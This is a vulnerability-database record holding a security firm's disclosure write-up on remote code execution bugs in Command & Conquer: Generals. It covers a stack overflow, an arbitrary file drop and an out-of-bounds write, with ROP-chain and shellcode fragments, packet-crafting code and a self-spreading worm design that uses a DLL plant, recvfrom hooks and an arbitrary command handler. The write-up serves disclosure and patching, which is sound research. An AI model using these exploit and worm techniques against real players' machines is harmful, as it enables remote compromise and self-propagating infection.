{"uuid": "822f8677-7cc7-44e9-8414-329e2be8aaf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "name": "General Graboids: Worms and Remote Code Execution in Command &amp; Conquer", "description": "# General Graboids: Worms and Remote Code Execution in Command &amp; Conquer \u2014 Atredis Partners\n_\\[this work was conducted collaboratively by Bryan Alexander and Jordan Whitehead\\]_\n\nThe following GCVE were assigned:\n\n- [gcve-1-2026-0009](https://vulnerability.circl.lu/vuln/gcve-1-2026-0009)\n- [gcve-1-2026-0010](https://vulnerability.circl.lu/vuln/gcve-1-2026-0010)\n- [gcve-1-2026-0011](https://vulnerability.circl.lu/vuln/gcve-1-2026-0011)\n\nReport taken from: https://www.atredis.com/blog/2026/1/26/generals\n\nThis post details several vulnerabilities discovered in the online game Command &amp; Conquer: Generals. We recently presented some of this work at an information security conference and this post contains technical details about the game\u2019s network architecture, its exposed attack surface, discovered vulnerabilities, and full details of a worm we developed to demonstrate impact.  \n\nFull source code, including PoCs, can be found in our public Github repository [here](https://github.com/atredispartners/general-graboids). Though the game is considered end-of-life by Electronic Arts, publicly available community patches are available addressing these issues; for more information see [this project](https://github.com/TheSuperHackers/GeneralsGameCode?tab=readme-ov-file#running-the-game).\n\nResearch introduction\n---------------------\n\nIn early 2025, EA Games released the [source code](https://github.com/electronicarts/CnC_Generals_Zero_Hour) for Command &amp; Conquer: Generals (C&amp;C:G), the final installment in the real-time strategy (RTS) series popular in the late 1990\u2019s and early 2000\u2019s. Included in this source release was Zero Hour, the first and only expansion released in 2003, the same year as Generals. The game was released with both single and multiplayer gameplay, with multiplayer supporting LAN and online lobbies via the GameSpy service. Gamespy eventually went defunct in 2014 and along with it the online C&amp;C:G servers.\n\n[Junkyard](https://www.districtcon.org/junkyard) is an end-of-life pwnathon where researchers bring zero-day vulnerabilities to end-of-life (EoL) products, be it hardware, software, firmware, or a combination of the three. Points are given based on impact, presentation engagement and quality, and overall silliness. The event is held during Districtcon, a relatively new information security conference held yearly in Washington DC. We loved the idea of the event and were eager to identify potential targets to contribute. C&amp;C:G fit the bill as both interesting and EoL\u2019d.\u00a0\u00a0\n\nWhen we first started the project we were kicking around ideas for fuzzing the network layer, but once we spent a little bit of time with the code, we found there really was no need.\u00a0\n\nTarget overview\n---------------\n\nThe source code includes all core components including the engine, networking stack, and various clients, but does not include models and other proprietary dependencies (such as third-party licensed tooling). This means the game cannot be built straight from the repository as is. Instead of attempting to build the game, we instead picked up a few licenses from Steam to provide dynamic instrumentation alongside our static code review.\u00a0\n\nWhen a client starts a game lobby, UDP port 8086 is opened up. This is the lobby port and exclusively processes meta-game commands and requests, such as player join, leave, chat, and more. For game packets used to synchronize state, trigger actions, and other combat activities, a separate port is opened once the game begins on port 8088.\n\n![Network Architecture](https://images.squarespace-cdn.com/content/v1/576323cfd482e984e113fe9c/0a8948a5-c754-401b-b620-fb222a9ae251/network-arch.jpg)\n\nC&amp;C:G Network Architecture\n\nWhile C&amp;C:G has a peer-to-peer based networking architecture where the host can function as a packet router to all clients, it\u2019s not relevant to the overall attack surface. Each client that connects must be accessible over both of these ports. When played on LAN, this means 0.0.0.0:8086 and 0.0.0.0:8088 must both be routable.\u00a0\n\nPacket format to both ports follows a similar structure with a few key differences:\n\n```\n+-------------------------------------------------------------+\n| Wordwise XOR/Endian-swap Encrypted Payload\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0   |\n| \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0                                           \u00a0 \u00a0 |\n| \u00a0 +----------------------+--------------------------------+ |\n|   | CRC32 (LE) \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | 4 bytes\u00a0                       | |\n| \u00a0 +----------------------+--------------------------------+ |\n| \u00a0 | Magic\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | 0D F0\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | |\n| \u00a0 +----------------------+--------------------------------+ |\n| \u00a0 | Header \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | 1 bytes\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | |\u00a0\n| \u00a0 +----------------------+--------------------------------+ |\n| \u00a0 | Data \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | up to MAX_FRAG_SIZE bytes\u00a0 \u00a0 \u00a0 | |\n| \u00a0 +----------------------+--------------------------------+ |\n| \u00a0 | Padding\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | 4 byte boundary\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 | |\n| \u00a0 +-------------------------------------------------------+ |\n+-------------------------------------------------------------+\n```\n\n\nThe above is the general shape of each packet, which includes a mandatory four byte CRC32 and two byte magic header. Each packet is XOR encoded using a hard-coded key and has a relatively robust packet fragmentation mechanism.\u00a0\n\nThe header is a type header that roughly follows the standard tag-length-value (TLV) format and is recursively parsed by receiving clients. The following is an example of a `NETCOMMANDTYPE_FILE` packet (received on the lobby port):\n\n```\n+---------+---------------------------+-------------------------------+\n| Offset  | Bytes                    | Description                    |\n+---------+---------------------------+-------------------------------+\n| 00\u201303   | fc 37 a9 53              | CRC32 (LE)                     |\n+---------+---------------------------+-------------------------------+\n| 04\u201305   | 0d f0                    | Magic                          |\n+---------+---------------------------+-------------------------------+\n| 06      | 54                       | Command Type Tag (\u2018T\u2019)         |\n+---------+---------------------------+-------------------------------+\n| 07      | 12                       | Command Type Value             |\n+---------+---------------------------+-------------------------------+\n| 08      | 44                       | Data Type Tag (\u2018D\u2019)            |\n+---------+---------------------------+-------------------------------+\n| 09\u2013N    | &lt;string&gt;                 | First Data Value               |\n+---------+---------------------------+-------------------------------+\n| N\u2013N+4   | 04 00 00 00              | Data Length (LE uint32)        |\n+---------+---------------------------+-------------------------------+\n| N\u2013N+4   | 41 41 41 41              | Second Data Value (\"AAAA\")     |\n+---------+---------------------------+-------------------------------+\n| N\u2013N     | 40 40                    | Padding (4 byte boundary)      |\n+---------+---------------------------+-------------------------------+\n\n```\n\n\nThe type tag is specified at offset 07 (0x12) and the data for that tag follows the data type tag at offset 08. This structure allows each type to individually parse its section and optionally support multiple types per packet.\u00a0\n\nMessage parsing takes place inside [NetPacket](https://github.com/electronicarts/CnC_Generals_Zero_Hour/blob/0a05454d8574207440a5fb15241b98ad0b435590/GeneralsMD/Code/GameEngine/Source/GameNetwork/NetPacket.cpp#L43) objects and, as you might expect, parses the command type tag inside a massive if/else statement:\n\n```\nif (commandType == NETCOMMANDTYPE_GAMECOMMAND) {\n    msg = readGameMessage(data, offset);\n} else if (commandType == NETCOMMANDTYPE_ACKBOTH) {\n    msg = readAckBothMessage(data, offset);\n} else if (commandType == NETCOMMANDTYPE_ACKSTAGE1) {\n    msg = readAckStage1Message(data, offset);\n} else if (commandType == NETCOMMANDTYPE_ACKSTAGE2) {\n    msg = readAckStage2Message(data, offset);\n...\n\n```\n\n\nHandlers are then responsible for parsing the data portion and actioning it as necessary.\n\nVulnerabilities\n---------------\n\n### Filename Stack Overflow\n\nWe discovered the first memory corruption vulnerability in the net command handlers `NetPacket::readFileMessage` and `NetPacket::readFileAnnounceMessage`. These commands could be sent to any peer inside a multiplayer game (even if the attacker were not a member of the game).\n\n```\nNetCommandMsg * NetPacket::readFileMessage(UnsignedByte *data, Int &amp;i) {\n    NetFileCommandMsg *msg = newInstance(NetFileCommandMsg);\n    char filename[_MAX_PATH];\n    char *c = filename;\n\n    while (data[i] != 0) {\n        *c = data[i];\n        ++c;\n        ++i;\n    }\n    *c = 0;\n    ++i;\n    msg-&gt;setPortableFilename(AsciiString(filename));    // it's transferred as a portable filename\n\n    UnsignedInt dataLength = 0;\n    memcpy(&amp;dataLength, data + i, sizeof(dataLength));\n    i += sizeof(dataLength);\n\n    UnsignedByte *buf = NEW UnsignedByte[dataLength];\n    memcpy(buf, data + i, dataLength);\n    i += dataLength;\n\n    msg-&gt;setFileData(buf, dataLength);\n\n    return msg;\n}\n\n```\n\n\nWhile not quite as simple as grepping for memcpy, it was easy to catch the stack buffer of size `_MAX_PATH` next to a loop copying untrusted data until hitting a NULL. We confirmed the issue at first by injecting packets in the processing loop using Frida, then later through a Python client.\n\n```\n(3d80.b28): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled.\neax=0ccc5974 ebx=1f138298 ecx=41414141 edx=0019f700\nesi=0ccad888 edi=ffffffff eip=44444444 esp=0019f900\nebp=00000013 iopl=0 nv up ei pl nz na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210206 \n44444444 ?? ???\n```\n\n\nProving out exploitation for this bug was a nostalgic experience. The game runs in 32-bit mode and many of the libraries used are not randomized with ASLR. This meant that this bug alone was sufficient to gain code execution on a remote machine. While game packets do have a limited length, they also support a fragmented packet format that allows for larger payloads through a `NetCommandWrapperList` object. With no client authentication and a simple static XOR for \u201cencryption\u201d, we were able to make a static payload that could exploit any game peer. (The \u201cjust for fun\u201d comment is in the original source.)\n\n```\nstatic inline void encryptBuf( unsigned char *buf, Int len )\n{\n    UnsignedInt mask = 0x0000Fade;\n\n    UnsignedInt *uintPtr = (UnsignedInt *) (buf);\n\n    for (int i=0 ; i&lt;len/4 ; i++) {\n        *uintPtr = (*uintPtr) ^ mask;\n        *uintPtr = htonl(*uintPtr);\n        uintPtr++;\n        mask += 0x00000321; // just for fun\n    }\n}\n\n```\n\n\nThe libraries that did not randomize their address space were not huge, but had sufficient gadgets for our needs. The main constraint on our RoP chain was avoiding NULL bytes which would end the overflow. Our initial portion of the chain pivoted to the rest of our chain in the packet, using pointers available in registers at the time of EIP control. After pivoting the stack, our ROP chain set up a RWX portion of memory, copied in our shellcode, and executed it.\n\n```\n    #...\n    # chain with nulls allowed\n    c = b\"\"\n\n    # save a reference to the old stack for later cleanup\n    # no regs to use so use extra space in rw seg\n    c += G_POP_ECX\n    c += dw(EXTRA_RW_SPACE + 0)\n    c += G_MOV_PTRECX_EAX\n\n    # get a reference to VirtualAlloc from mss32.dll\n    c += G_POP_EAX\n    c += VIRTUALALLOC_PTR\n    c += G_MOV_EAX_PTREAX\n\n    # call virtualalloc\n    # this messes up the heap we are using as a stack\n    # so first pad a bunch\n    c += (G_ADD_ESP_104 + (b\"B\" * (esp_adjust_amount-4))) * (fake_stack_pad_amt // esp_adjust_amount)\n\n    c += G_JMP_EAX\n    c += G_R # return\n    c += dw(0) # lpAddress = NULL\n    c += dw(0x4000) # dwSize\n    c += dw(0x1000) # flAllocationType = MEM_COMMIT\n    c += dw(0x40) # flProtect = PAGE_EXECUTE_READWRITE\n    #...\n\n```\n\n\n![Some C&amp;C characters standing around, unaware the game was just exploited](https://images.squarespace-cdn.com/content/v1/576323cfd482e984e113fe9c/b385e017-ee25-4627-a035-d3f5021a839b/image3.png)\n\n\u2190 They have no idea how close they were to SEGFAULT\n\nOur python harness could craft payloads with shellcode to run arbitrary commands, or load libraries from a given path. By being careful with our initial NULL-less RoP chain, we were able to avoid corrupting too much of the stack, and our exploit restores the stack to an earlier frame (`ConnectionManager::doRelay`) without missing a beat.\n\n```\n    mov edi, esp\nstack_search_loop:\n    add edi, 4\n\n    mov eax, GEN_ZH_UNPATCHED_DORELAY_RET\n    cmp [edi], eax\n    je stack_search_found_zhun\n\n    mov eax, GEN_ZH_PATCHED_DORELAY_RET\n    cmp [edi], eax\n    je stack_search_found_zhpa\n\n    jmp stack_search_loop\n    # ...\n\n```\n\n\n![](https://images.squarespace-cdn.com/content/v1/576323cfd482e984e113fe9c/2ebf91e4-146a-4504-bcc8-5fa9375485b7/rop-exec.jpg)\n\nExploit Flow\n\n### Arbitrary File Drop\n\nThis stack overflow was not the only exploitable issue we encountered. That same network command handler, `NetPacket::readFileMessage`, did not properly constrain files that were sent from a peer. Files of arbitrary extensions were accepted, as well as file paths outside of the original game directory. Simply sending a properly named .dll file was sufficient to ensure remote code execution the next time the game was started.\n\n```\nvoid ConnectionManager::processFile(NetFileCommandMsg *msg)\n{\n    if (TheFileSystem-&gt;doesFileExist(msg-&gt;getRealFilename().str()))\n    {\n        DEBUG_LOG((\"File exists already!\\n\"));\n        //return;\n    }\n\n    UnsignedByte *buf = msg-&gt;getFileData();\n    Int len = msg-&gt;getFileLength();\n\n    File *fp = TheFileSystem-&gt;openFile(msg-&gt;getRealFilename().str(), File::CREATE | File::BINARY | File::WRITE);\n    if (fp)\n    {\n        fp-&gt;write(buf, len);\n        fp-&gt;close();\n        fp = NULL;\n        DEBUG_LOG((\"Wrote %d bytes to file %s!\\n\",len,msg-&gt;getRealFilename().str()));\n\n    }\n\n```\n\n\n### Out-of-Bounds Write\n\nAnother interesting issue we found was in the packet fragmentation logic used earlier to support our large exploit payload.\n\n```\nvoid NetCommandWrapperListNode::copyChunkData(NetWrapperCommandMsg *msg) {\n    if (msg == NULL) {\n        DEBUG_CRASH((\"Trying to copy data from a non-existent wrapper command message\"));\n        return;\n    }\n\n    if (m_chunksPresent[msg-&gt;getChunkNumber()] == TRUE) {\n        // we already received this chunk, no need to recopy it.\n        return;\n    }\n\n    m_chunksPresent[msg-&gt;getChunkNumber()] = TRUE;\n    UnsignedInt offset = msg-&gt;getDataOffset();\n    memcpy(m_data + offset, msg-&gt;getData(), msg-&gt;getDataLength());\n    ++m_numChunksPresent;\n}\n\n```\n\n\nIn the above function the `msg-&gt;getDataOffset()` call returns a controlled `UnsignedInt` without any restrictions. The `msg-&gt;getDataLength()` is likewise controlled by the sender. `msg-&gt;getData()` points to unfiltered packet data, resulting in a very straightforward out-of-bounds write from any offset to the `m_data` member. The size of the `m_data` member is determined by the initial wrapper command, and no checks are made to ensure the subsequent chunks of data are within the allocation.\n\n```\n  frag = b\"\"\n  frag += b'T\\x11'\n  frag += b\"C\" + struct.pack(\"&lt;H\", cmdid)\n  frag += b'D'\n  frag += struct.pack(\"&lt;H\", wrapped_cmdid)\n  frag += struct.pack(\"&lt;I\", ci)\n  frag += struct.pack(\"&lt;I\", len(chunks))\n  frag += struct.pack(\"&lt;I\", len(payload))\n  frag += struct.pack(\"&lt;I\", len(chunks[ci]))  # Controlled Write Length\n  frag += struct.pack(\"&lt;I\", offset)           # Controlled Write Offset\n  frag += chunks[ci]                          # Controlled Data\n\n  offset += len(chunks[ci])\n  frags.append(frag)\n\n```\n\n\nWorming\n-------\n\nOnce we had reliable remote code execution vulnerabilities developed, we turned our attention to the payload. Because of the nature of peer-to-peer multiplayer gaming, the ability for an infected player to further spread the infection to all other players, both in the present game and future games, was an appealing one.  \n\nBuilding a worm is relatively straightforward once you\u2019ve infected a single user. The overall flow for infection is summarized by the following diagram:\n\n![Worm Diagram](https://images.squarespace-cdn.com/content/v1/576323cfd482e984e113fe9c/78e39d09-7be3-4d27-af32-f0985c253b65/image2.png)\n\nWorming Flow\n\nWe\u2019ll dig into the details of each step by step.\n\n**_Delivery_**\n\nAs previously described, C&amp;C:G\u2019s online architecture is peer-to-peer; this means each player must be accessible via both their game and lobby ports. We first leverage the readFileMessage file write vulnerability to drop a DLL to disk, containing the worming capabilities and command-and-control functionality for continued abuse.\n\nThe DLL is dropped into the root folder of C&amp;C:G which, on each launch of the game, will attempt to load a file called dbghelp.dll from the local path. The payload is written as a standard Windows DLL that executes on process attach. Once the file is written it then needs to be loaded. While there are certain techniques we found that could be leveraged to load the DLL mid-game, they weren\u2019t as reliable as we\u2019d like. Instead we opted to trigger the memory corruption in `readFileMessage` and deliver a LoadLibrary payload.\u00a0\n\n**_Trigger_**\n\nOnce the worm is installed for persistence and loaded into the currently running game, we can begin to set up hooks and listen for magic packets. Because C&amp;C:G was written in the early 2000\u2019s, it relies on some of the older socket APIs available in Windows. We opted to install Import Address Table (IAT) hooks in the APIs used (WSOCK32.dll) that intercepted all calls to `recvfrom` which was used to process incoming packets from the listening port. If you\u2019re not familiar with how this works, you can read more about IAT hooks [here](https://www.ired.team/offensive-security/code-injection-process-injection/import-adress-table-iat-hooking) or review the `iatHook` function in the provided code above.  \n\nNow that we were intercepting packets, we wanted to support two different cases:\n\n1.  Magic packets from remote systems\n    \n2.  Magic chat messages\n    \n\nThe first case was intended to support remote attackers executing arbitrary payloads or commands on the system and surreptitiously gain access to the underlying game engine. The second was intended to support in-game magic chat commands which could be hidden from victims. We\u2019ll detail these in the next few sections.\n\nBecause packet formats are well structured it\u2019s relatively easy to parse these out. We opted to reuse this structure to setup magic packet support so as to not impact uninfected systems in-game:\n\n```\nif (*cursor == 'T') {\n    cbNetType = cursor[1];\n    cursor += 2;\n\n    // check if this command has our magic bytes\n    if (containsMagicWord(buf, rlen)) {\n        // it does, process and drop the packet\n        handleInfectorPkt(buf, rlen);\n\n        memset(buf, 0x0, len);\n        rlen = 0;\n\n        goto RECRYPT;\n    }\n}\n\n```\n\n\nIn the above, we reuse the type tag to distinguish between magic packets and standard C&amp;C:G packets. This structure of an infector packet is as follows:\n\n```\n0000  41 41 41 41 41 41 54 AD 4E AD DE 00 09 00 00 00   AAAAAAT.N.......\n0010  63 61 6C 63 2E 65 78 65 00 40 40 40               calc.exe.@@@\n```\n\n\nNote that the first 6 bytes in the case of the magic packet do not matter; since we are hooking the `recvfrom` function and processing this _before_ the game gets a chance, the checksum need not be validated nor does the C&amp;C:G header need to be inspected. Further, games without the infection will not process the packets due to the missing magic bytes.\n\nOur magic packet bytes (`0xdead4ead`) immediately follow the type tag which we then process as an infector packet.\u00a0\n\n**_Spread_**\n\nThe key to a worm is its ability to autonomously spread itself. To do this, we need to perform a few actions:\n\n1.  Determine who is in a game\n    \n2.  Determine if we\u2019ve infected them already\n    \n3.  Get their IP addresses\u00a0\n    \n4.  Send the payload\n    \n\nDetermining who is in a game is, mercifully, a rather simple task. When players join a game, even when a game starts from a lobby, game messages are sent to all other players and with our hooks we can parse them out:\n\n```\nif (*cursor == MSG_JOIN_ACCEPT) {\n    OutputDebugStringA(\"[!] new user joined\\n\");\n\n    LANMessage* msg = (LANMessage*)(buf + 6);\n    OutputDebugStringA(format(\"[!] userName: %s\\n\", msg-&gt;userName).c_str());\n    OutputDebugStringA(format(\"[!] hostName: %s\\n\", msg-&gt;hostName).c_str());\n    OutputDebugStringA(format(\"[!] game IP address: %08x %s\\n\", \nmsg-&gt;GameJoined.gameIP, \nuintToIP(msg-&gt;GameJoined.gameIP).c_str()).c_str());\n    OutputDebugStringA(format(\"[!] user IP address: %08x %s\\n\", \nmsg-&gt;GameJoined.playerIP, \nuintToIP(msg-&gt;GameJoined.playerIP).c_str()).c_str());\n\n```\n\n\nThis gives us a full list of players in a game in addition to the IP address of each joined user.\u00a0  \n\nDetermining if we\u2019ve infected a player or not is a little more tricky due to the disparate spreading nature of worms. While we can trivially track who we\u2019ve infected within the bounds of a single game, once the worm spreads to other players in other games, another mechanism is needed. For simplicity\u2019s sake we\u2019ve opted to simply track who was infected in a single game. To determine this outside the game, we could implement \u201care you infected?\u201d magic packets that would respond if they were or remain silent if they were not.\u00a0\n\nWe\u2019ve already established how to obtain a player IP address and now all that\u2019s left is to send the payload. This is done using the strategy outlined in the delivery section above.\n\n**_Payloads_**\n\nOnce players in a game have been infected the real fun can begin. Our worm implements the following infector packet types:\n\n```\nenum INFECTOR_TYPE\n{\n    INFECTOR_CMD,\n    INFECTOR_ACTION,\n};\n\n```\n\n\n`INFECTOR_CMD` is used to execute arbitrary operating system commands. It was mostly set up for testing, but it\u2019s common for any self-respecting worm to feature this ability so we decided to leave it.\u00a0\n\n`INFECTOR_ACTION` allows for manipulation of the internal game engine. C&amp;C:G uses a rudimentary scripting engine for use by bots and in-game actions. The game engine implements this under its `ScriptEngine` and you can find the massive switch statement with all supported script actions [here](https://github.com/electronicarts/CnC_Generals_Zero_Hour/blob/0a05454d8574207440a5fb15241b98ad0b435590/GeneralsMD/Code/GameEngine/Source/GameLogic/ScriptEngine/ScriptActions.cpp#L6406). Within our worm, since there is no ASLR, we can invoke the executing functions by address; the following demonstrates how to force the player to sell everything:\n\n```\ntypedef void(__thiscall* SellEverything_t)(void* thisplayer);\n#define FUN_Player_SellEverything\t((SellEverything_t)0x454fa0) // v1.05 C&amp;C:G\n..\nvoid** pPlayerList = *GPTR_ThePlayerList;\nvoid* pLocalPlayer = pPlayerList[INDX_PlayerList_m_local];\nFUN_Player_SellEverything(pLocalPlayer);\n\n```\n\n\nThere is a catch to this, however. The engine is intended only to be used for the local game state and does not percolate changes across players in the game. This, unfortunately, means changes to the local game state desynchronize the player and cause a disconnect. Not ideal!\u00a0\n\nWhile we did not investigate how much effort it would take to manually (or automatically via some undiscovered ScriptEngine capability) distribute game updates, a variety of script actions exist that impact only the local instance. This includes things like displaying text, playing sound files, adjusting the camera, and others. These are ultimately what we implemented in the current payload.\n\nInjecting a \u201cSellAll\u201d ScriptAction from the Implant\n\nFixes\n-----\n\nAfter initial discovery and creation of the PoCs, we reached out to EA Games in August 2025 to report these issues. EA was helpful but confirmed that the issues were not within scope of their support.\n\n&gt; \u201cCommand &amp; Conquer: Generals is a legacy title. EA\u2019s official online services for Command &amp; Conquer: Generals were retired several years ago, and multiplayer for this game today is typically provided via a community-run or user-hosted infrastructure, which EA does not operate or control.\u201d\n\n\u2014 EA Product Security\n\nEA also received an early copy of our presentation slides for review which we\u2019ve included in the project repository linked above.  \n\nEven though C&amp;C:G is a legacy title with no active support, we thought the vulnerabilities were significant enough to warrant CVEs for community tracking. We reached out to EA Games, who are a CNA, to provide CVE\u2019s but they declined on the basis that they do not issue CVEs for legacy titles. We have escalated this conversation to MITRE and are currently in the process of obtaining these for the described bugs. We\u2019ll update this post once they become available.  \n\nIn December of 2025 we reached out over Discord to maintainers of a community run fork/patch of the game, [GeneralsGameCode](https://github.com/TheSuperHackers/GeneralsGameCode). We coordinated with developers to ensure that they were aware of the issues in the game engine, and had appropriate patches. Some of these vulnerabilities were already being tracked in the community by December, having been independently discovered by community members. We worked with the maintainers to ensure their understanding of the severity of those issues, and disclose other issues. You can see some of the relevant fixes here:\n\n*   [readFileMessage Memory corruption patch](https://github.com/TheSuperHackers/GeneralsGameCode/pull/1981)\n    \n*   [Fragmentation memory corruption patch](https://github.com/TheSuperHackers/GeneralsGameCode/pull/1946)\n    \n*   [File extension validation patch](https://github.com/TheSuperHackers/GeneralsGameCode/pull/1818)\n    \n\nWe want to thank the community developers for their quick response and fixes! It is amazing to see the effort and passion that goes into keeping games like this one alive.\n\nTimeline\n--------\n\n*   2025-08-06: Atredis Partners sent an initial notification to vendor\n    \n*   2025-08-06: EA Games confirms receipt of the reports\n    \n*   2025-08-07: EA Games requests additional platform information\n    \n*   2025-08-11: EA Games validates the three vulnerabilities and assigns two high severity and one medium severity\n    \n*   2025-08-11: Atredis follows up with additional questions on remediation and disclosure\n    \n*   2025-08-26: EA Games provides clarifying information on disclosure and patching\n    \n*   2025-12-03: Contacted Legionnaire from https://legi.cc/genpatcher/ to start community disclosure over Discord", "creation_timestamp": "2026-01-29T14:42:24.544918+00:00", "timestamp": "2026-01-29T14:47:47.749833+00:00", "related_vulnerabilities": ["gcve-1-2026-0010", "gcve-1-2026-0011", "gcve-1-2026-0009"], "author": {"login": "iglocska", "name": "Andras Iklody", "uuid": "06969ba4-5377-4983-9f8b-d93795e90bfb"}}
